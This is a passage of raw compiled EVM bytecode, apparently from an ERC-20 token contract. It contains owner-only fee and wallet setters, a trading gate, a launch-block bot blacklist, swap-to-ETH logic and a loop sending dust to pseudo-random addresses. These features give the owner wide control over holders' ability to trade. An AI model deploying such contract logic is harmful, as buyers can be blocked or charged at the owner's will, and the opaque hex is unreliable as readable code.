ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461332e90919063ffffffff16565b613394565b6001905092915050565b611c2961338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cad90615274565b60405180910390fd5b8060218190555050565b600e6020528060005260406000206000915054906101000a900460ff1681565b602460189054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b602460159054906101000a900460ff1681565b611d2e61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290615274565b60405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611e0761338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8b90615274565b60405180910390fd5b60c98383905010611ea457600080fd5b60005b83839050811015611f41578160116000868685818110611eca57611ec96152f4565b5b9050602002016020810190611edf9190614d5a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080611f3a90615352565b9050611ea7565b50505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b600042905090565b60185481565b6000611fa561338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202990615274565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015612082573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120a691906153af565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561210d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061213191906153af565b6040518363ffffffff1660e01b815260040161214e9291906153dc565b602060405180830381865afa15801561216b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061218f91906153af565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612322578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015612210573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061223491906153af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561229b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122bf91906153af565b6040518363ffffffff1660e01b81526004016122dc9291906153dc565b6020604051808303816000875af11580156122fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061231f91906153af565b91505b81602460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b6000602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60195481565b600c5481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601f5481565b61250161338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461258e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258590615274565b60405180910390fd5b80600f8190555050565b60205481565b601c5481565b6125ac61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612639576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263090615274565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6126cb61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274f90615274565b60405180910390fd5b80600760146101000a81548160ff02191690831515021790555050565b61277d61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461280a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280190615274565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6060600480546128d9906152c3565b80601f0160208091040260200160405190810160405280929190818152602001828054612905906152c3565b80156129525780601f1061292757610100808354040283529160200191612952565b820191906000526020600020905b81548152906001019060200180831161293557829003601f168201915b5050505050905090565b6000602154905090565b601d5481565b6000612a2f61297961338c565b84612a2a85604051806060016040528060258152602001615e6c60259139600960006129a361338c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe49092919063ffffffff16565b613394565b6001905092915050565b600f5481565b612a4761338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb90615274565b60405180910390fd5b80602460166101000a81548160ff02191690831515021790555050565b601a5481565b60116020528060005260406000206000915054906101000a900460ff1681565b6000612b2b612b2461338c565b848461355d565b506001905092915050565b612b3e61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc290615274565b60405180910390fd5b826018819055508160198190555080601a81905550612c0b601a54612bfd60195460185461332e90919063ffffffff16565b61332e90919063ffffffff16565b601d81905550505050565b60145481565b612c2461338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca890615274565b60405180910390fd5b80602460156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612cfa9190614ec7565b60405180910390a150565b60135481565b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60175481565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602460169054906101000a900460ff1681565b60125481565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612e2b61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eaf90615274565b60405180910390fd5b80601f8190555050565b612eca61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f4e90615274565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601b5481565b612fc061338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461304d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161304490615274565b60405180910390fd5b8060208190555050565b61305f61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146130ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130e390615274565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361315b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161315290615477565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61322061338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146132ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132a490615274565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b602460179054906101000a900460ff1681565b600760149054906101000a900460ff1681565b600080828461333d9190615497565b905083811015613382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161337990615539565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133fa906155cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613472576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134699061565d565b60405180910390fd5b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516135509190614f80565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036135cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135c4906156ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361363c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161363390615781565b60405180910390fd5b600760149054906101000a900460ff166136c65761365861269a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146136c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136bc90615813565b60405180910390fd5b5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137a557602460189054906101000a900460ff1680613765575061373661269a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6137a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161379b9061587f565b60405180910390fd5b5b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361388757602460189054906101000a900460ff1680613847575061381861269a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b613886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161387d9061587f565b60405180910390fd5b5b602460149054906101000a900460ff16156138ae576138a7848484614092565b9050613fdd565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156139585750602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156139655743600c819055505b602254421061398f57600060188190555060006019819055506000601b819055506000601c819055505b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603613a5457600f54600c546139f49190615497565b4311613a53576001600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b613a5c61269a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015613aca5750613a9a61269a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613ada57613ad98483614265565b5b601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613b7e5750601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613bf657600080600090505b60008113613be357808442604051602001613ba8939291906158eb565b6040516020818303038152906040528051906020012060001c9150613bcf86836064614092565b508080613bdb90615928565b915050613b8b565b5061012c83613bf29190615970565b9250505b6000613c01306124aa565b905060006021548210159050808015613c275750602460149054906101000a900460ff16155b8015613c7d5750601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613c955750602460159054906101000a900460ff165b15613cbf57602460169054906101000a900460ff1615613cb55760215491505b613cbe8261438f565b5b613d48846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe49092919063ffffffff16565b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613e2e5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613e4257613e3d878787614580565b613e44565b845b9050602460179054906101000a900460ff168015613eac5750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613edb57602054613ecf82613ec1896124aa565b61332e90919063ffffffff16565b1115613eda57600080fd5b5b613f2d81600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461332e90919063ffffffff16565b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613fcd9190614f80565b60405180910390a3600193505050505b9392505050565b600083831115829061402c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016140239190614e20565b60405180910390fd5b506000838561403b9190615970565b9050809150509392505050565b600061408a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613fe4565b905092915050565b600061411d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe49092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506141b282600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461332e90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516142529190614f80565b60405180910390a3600190509392505050565b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156142f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016142e9906159f0565b60405180910390fd5b601f548111158061434c5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61438b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161438290615a5c565b60405180910390fd5b5050565b6001602460146101000a81548160ff02191690831515021790555060006143e860026143da601d546143cc601854876147a790919063ffffffff16565b61482190919063ffffffff16565b61482190919063ffffffff16565b905060006143ff828461404890919063ffffffff16565b905061440a8161486b565b6000479050600061443b61442a600260185461482190919063ffffffff16565b601d5461404890919063ffffffff16565b90506000614479600261446b8461445d601854886147a790919063ffffffff16565b61482190919063ffffffff16565b61482190919063ffffffff16565b905060006144a483614496601a54876147a790919063ffffffff16565b61482190919063ffffffff16565b905060006144cd826144bf858861404890919063ffffffff16565b61404890919063ffffffff16565b9050600081111561450557614504600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682614ae7565b5b600082111561453b5761453a600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683614ae7565b5b60008311801561454b5750600087115b1561455b5761455a8784614b32565b5b505050505050506000602460146101000a81548160ff02191690831515021790555050565b60008060009050601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156146085761460160646145f3601b54866147a790919063ffffffff16565b61482190919063ffffffff16565b9050614686565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615614685576146826064614674601c54866147a790919063ffffffff16565b61482190919063ffffffff16565b90505b5b600081111561478a576146e181600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461332e90919063ffffffff16565b600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516147819190614f80565b60405180910390a35b61479d818461404890919063ffffffff16565b9150509392505050565b60008083036147b9576000905061481b565b600082846147c79190615a7c565b90508284826147d69190615b05565b14614816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161480d90615ba8565b60405180910390fd5b809150505b92915050565b600061486383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614c17565b905092915050565b6000600267ffffffffffffffff81111561488857614887615bc8565b5b6040519080825280602002602001820160405280156148b65781602001602082028036833780820191505090505b50905030816000815181106148ce576148cd6152f4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050602360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015614975573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061499991906153af565b816001815181106149ad576149ac6152f4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050614a1430602360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613394565b602360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401614a78959493929190615cf0565b600060405180830381600087803b158015614a9257600080fd5b505af1158015614aa6573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051614adb929190615d4a565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614b2d573d6000803e3d6000fd5b505050565b614b5f30602360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613394565b602360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080614bab61269a565b426040518863ffffffff1660e01b8152600401614bcd96959493929190615d7a565b60606040518083038185885af1158015614beb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190614c109190615df0565b5050505050565b60008083118290614c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401614c559190614e20565b60405180910390fd5b5060008385614c6d9190615b05565b9050809150509392505050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000614caf82614c84565b9050919050565b614cbf81614ca4565b8114614cca57600080fd5b50565b600081359050614cdc81614cb6565b92915050565b60008115159050919050565b614cf781614ce2565b8114614d0257600080fd5b50565b600081359050614d1481614cee565b92915050565b60008060408385031215614d3157614d30614c7a565b5b6000614d3f85828601614ccd565b9250506020614d5085828601614d05565b9150509250929050565b600060208284031215614d7057614d6f614c7a565b5b6000614d7e84828501614ccd565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614dc1578082015181840152602081019050614da6565b83811115614dd0576000848401525b50505050565b6000601f19601f8301169050919050565b6000614df282614d87565b614dfc8185614d92565b9350614e0c818560208601614da3565b614e1581614dd6565b840191505092915050565b60006020820190508181036000830152614e3a8184614de7565b905092915050565b6000819050919050565b614e5581614e42565b8114614e6057600080fd5b50565b600081359050614e7281614e4c565b92915050565b60008060408385031215614e8f57614e8e614c7a565b5b6000614e9d85828601614ccd565b9250506020614eae85828601614e63565b9150509250929050565b614ec181614ce2565b82525050565b6000602082019050614edc6000830184614eb8565b92915050565b600080600060608486031215614efb57614efa614c7a565b5b6000614f0986828701614e63565b9350506020614f1a86828701614e63565b9250506040614f2b86828701614e63565b9150509250925092565b6000614f4082614c84565b9050919050565b614f5081614f35565b82525050565b6000602082019050614f6b6000830184614f47565b92915050565b614f7a81614e42565b82525050565b6000602082019050614f956000830184614f71565b92915050565b6000819050919050565b6000614fc0614fbb614fb684614c84565b614f9b565b614c84565b9050919050565b6000614fd282614fa5565b9050919050565b6000614fe482614fc7565b9050919050565b614ff481614fd9565b82525050565b600060208201905061500f6000830184614feb565b92915050565b60008060006060848603121561502e5761502d614c7a565b5b600061503c86828701614ccd565b935050602061504d86828701614ccd565b925050604061505e86828701614e63565b9150509250925092565b60006020828403121561507e5761507d614c7a565b5b600061508c84828501614d05565b91505092915050565b61509e81614ca4565b82525050565b60006020820190506150b96000830184615095565b92915050565b600060ff82169050919050565b6150d5816150bf565b82525050565b60006020820190506150f060008301846150cc565b92915050565b60006020828403121561510c5761510b614c7a565b5b600061511a84828501614e63565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261514857615147615123565b5b8235905067ffffffffffffffff81111561516557615164615128565b5b6020830191508360208202830111156151815761518061512d565b5b9250929050565b6000806000604084860312156151a1576151a0614c7a565b5b600084013567ffffffffffffffff8111156151bf576151be614c7f565b5b6151cb86828701615132565b935093505060206151de86828701614d05565b9150509250925092565b600080604083850312156151ff576151fe614c7a565b5b600061520d85828601614ccd565b925050602061521e85828601614ccd565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061525e602083614d92565b915061526982615228565b602082019050919050565b6000602082019050818103600083015261528d81615251565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806152db57607f821691505b6020821081036152ee576152ed615294565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061535d82614e42565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361538f5761538e615323565b5b600182019050919050565b6000815190506153a981614cb6565b92915050565b6000602082840312156153c5576153c4614c7a565b5b60006153d38482850161539a565b91505092915050565b60006040820190506153f16000830185615095565b6153fe6020830184615095565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000615461602683614d92565b915061546c82615405565b604082019050919050565b6000602082019050818103600083015261549081615454565b9050919050565b60006154a282614e42565b91506154ad83614e42565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156154e2576154e1615323565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000615523601b83614d92565b915061552e826154ed565b602082019050919050565b6000602082019050818103600083015261555281615516565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006155b5602483614d92565b91506155c082615559565b604082019050919050565b600060208201905081810360008301526155e4816155a8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000615647602283614d92565b9150615652826155eb565b604082019050919050565b600060208201905081810360008301526156768161563a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006156d9602583614d92565b91506156e48261567d565b604082019050919050565b60006020820190508181036000830152615708816156cc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061576b602383614d92565b91506157768261570f565b604082019050919050565b6000602082019050818103600083015261579a8161575e565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006157fd603f83614d92565b9150615808826157a1565b604082019050919050565b6000602082019050818103600083015261582c816157f0565b9050919050565b7f544f4b454e3a20494e56414c49442043414c4c00000000000000000000000000600082015250565b6000615869601383614d92565b915061587482615833565b602082019050919050565b600060208201905081810360008301526158988161585c565b9050919050565b6000819050919050565b6000819050919050565b6158c46158bf8261589f565b6158a9565b82525050565b6000819050919050565b6158e56158e082614e42565b6158ca565b82525050565b60006158f782866158b3565b60208201915061590782856158d4565b60208201915061591782846158d4565b602082019150819050949350505050565b60006159338261589f565b91507f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361596557615964615323565b5b600182019050919050565b600061597b82614e42565b915061598683614e42565b92508282101561599957615998615323565b5b828203905092915050565b7f46726f6d2063616e6e6f7420626520626f742100000000000000000000000000600082015250565b60006159da601383614d92565b91506159e5826159a4565b602082019050919050565b60006020820190508181036000830152615a09816159cd565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b6000615a46601183614d92565b9150615a5182615a10565b602082019050919050565b60006020820190508181036000830152615a7581615a39565b9050919050565b6000615a8782614e42565b9150615a9283614e42565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615615acb57615aca615323565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000615b1082614e42565b9150615b1b83614e42565b925082615b2b57615b2a615ad6565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000615b92602183614d92565b9150615b9d82615b36565b604082019050919050565b60006020820190508181036000830152615bc181615b85565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000615c1c615c17615c1284615bf7565b614f9b565b614e42565b9050919050565b615c2c81615c01565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615c6781614ca4565b82525050565b6000615c798383615c5e565b6020830190509291505